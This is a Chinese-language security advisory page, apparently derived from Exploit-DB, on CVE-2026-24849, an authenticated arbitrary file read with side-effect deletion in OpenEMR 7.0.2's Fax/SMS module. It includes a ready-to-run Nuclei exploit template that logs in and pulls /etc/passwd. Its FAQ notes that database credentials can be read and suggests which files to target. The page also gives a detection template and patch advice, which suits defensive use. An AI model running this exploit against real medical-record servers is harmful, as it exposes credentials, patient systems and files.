[webapps] OpenEMR 7.0.2 - Arbitrary File Read
CVE-2026-24849 是 OpenEMR 7.0.2 及以下版本的认证任意文件读取漏洞。任意登录用户可通过 Fax/SMS 模块的 disposeDoc 方法读取服务器文件,包括数据库配置与系统文件。修复版本 7.0.4,临时可禁用该模块或配置 WAF 拦截。
OpenEMR 7.0.2 认证用户可任意文件读取,且附带删除动作。
High · CVSS 7.1📋 漏洞基础信息
| CVE | CVE-2026-24849 |
|---|---|
| 漏洞类型 | 路径遍历 - 任意文件读取 |
| 受影响版本 | OpenEMR < 7.0.4 (tested on 7.0.2) |
| 危害等级 | High · CVSS 7.1 |
| 发布日期 | 2026-06-08 |
| 提交者 | doany1 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Fax/SMS 模块 EtherFaxActions::disposeDoc() 方法未对 caller-supplied `file_path` 参数进行路径验证,直接传入 readfile() 读取,且未调用 authenticate() 进行权限检查。
🎯 攻击场景
1. 获取任意 OpenEMR 有效用户凭证(低权限即可)。 2. 确保 Fax/SMS 模块已启用且 EtherFax 被选为传真提供商(无需真实账号)。 3. 向 URL /interface/modules/custom_modules/oe-module-faxsms/index.php 发送 GET 请求,参数包含 site、type=fax、_ACTION_COMMAND=disposeDoc、file_path=目标文件绝对路径、action=download。 4. 成功返回文件内容。注意:若文件 Web 用户可删除,disposeDoc() 还会调用 unlink() 删除文件。
💥 漏洞影响
任意经过认证的用户(包括低权限角色如接待员、临床医生)可读取 Web 服务器用户可访问的任何文件,包括数据库配置文件(如 sites/default/sqlconf.php 含 DB 凭据)、应用源代码、系统文件(如 /etc/passwd)等。同时 disposeDoc() 还会在读取后调用 unlink() 尝试删除文件,导致文件可能被意外删除。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-24849-exploit
info:
name: OpenEMR 7.0.2 - Authenticated Arbitrary File Read
author: doany1
severity: high
description: |
OpenEMR versions prior to 7.0.4 are vulnerable to an authenticated arbitrary file
read via the Fax/SMS module's EtherFaxActions::disposeDoc() method. The method
reads a caller-supplied path parameter and passes it directly to readfile() with
no path validation. Any authenticated user can read sensitive files.
reference:
- https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
- https://nvd.nist.gov/vuln/detail/CVE-2026-24849
tags: cve,cve2026,openemr,lfi,authenticated
variables:
username: 'admin'
password: 'password'
site: 'default'
file_path: '/etc/passwd'
http:
- raw:
- |
GET /interface/login/login.php?site={{site}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
- |
POST /interface/main/main_screen.php?auth=login&site={{site}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /interface/modules/custom_modules/oe-module-faxsms/index.php?site={{site}}&type=fax&_ACTION_COMMAND=disposeDoc&file_path={{file_path}}&action=download HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- 'root:'
- '/bin/bash'
part: body
condition: or
- type: status
status:
- 200
extractors:
- type: regex
name: file_content
group: 0
regex:
- 'root:.*'
part: body🔬 深度技术分析
1. 脚本使用 login() 函数通过 GET(获取CSRF token)+ POST 建立合法会话。 2. read_file() 函数尝试两个可能的 action 值(disposeDoc 和 disposeDocument)。 3. 发送 GET 请求到 index.php,携带 file_path 参数指向目标文件。 4. 若响应体包含 'Problem with download' 则文件不可读;包含 'login_screen.php?error=1' 则会话失效;否则返回文件内容。 5. 首次使用 /etc/hostname 作为探针(root-owned,unlink 通常会失败,不破坏文件)验证漏洞存在。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-24849-detection
info:
name: OpenEMR 7.0.2 - Arbitrary File Read Detection
author: doany1
severity: high
description: |
OpenEMR versions prior to 7.0.4 are vulnerable to an arbitrary file read via the
Fax/SMS module's EtherFaxActions::disposeDoc() method. This allows authenticated
users to read sensitive files on the server.
reference:
- https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
- https://nvd.nist.gov/vuln/detail/CVE-2026-24849
tags: cve,cve2026,openemr,lfi,authenticated
http:
- method: GET
path:
- '{{BaseURL}}/interface/login/login.php?site=default'
matchers-condition: and
matchers:
- type: word
words:
- 'OpenEMR'
part: body
- type: regex
name: version
regex:
- 'v([0-9]+\.[0-9]+\.[0-9]+)'
part: body
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- 'v([0-9]+\.[0-9]+\.[0-9]+)'
part: body🛡️ 修复建议
厂商已发布安全更新 OpenEMR 7.0.4 修复此问题。临时缓解措施:1. 禁用 Fax/SMS 模块。2. 使用 Web 应用防火墙(WAF)规则拦截包含 disposeDoc 或 disposeDocument 以及 file_path 参数的请求。3. 限制 Web 服务器用户对敏感文件的读取权限。
📎 参考链接
- https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
- https://nvd.nist.gov/vuln/detail/CVE-2026-24849
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-09 08:08 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ CVE-2026-24849 需要什么权限?
任意认证用户,低权限即可(非管理员专属)。
❓ 利用该漏洞是否会删除目标文件?
是的,disposeDoc() 在读取后调用 unlink(),若 Web 用户有权删除则文件会被删除。建议读 root-owned 文件避免删除。
❓ 能否利用该漏洞读取数据库密码?
能。可读取 sites/default/sqlconf.php 获取数据库凭据。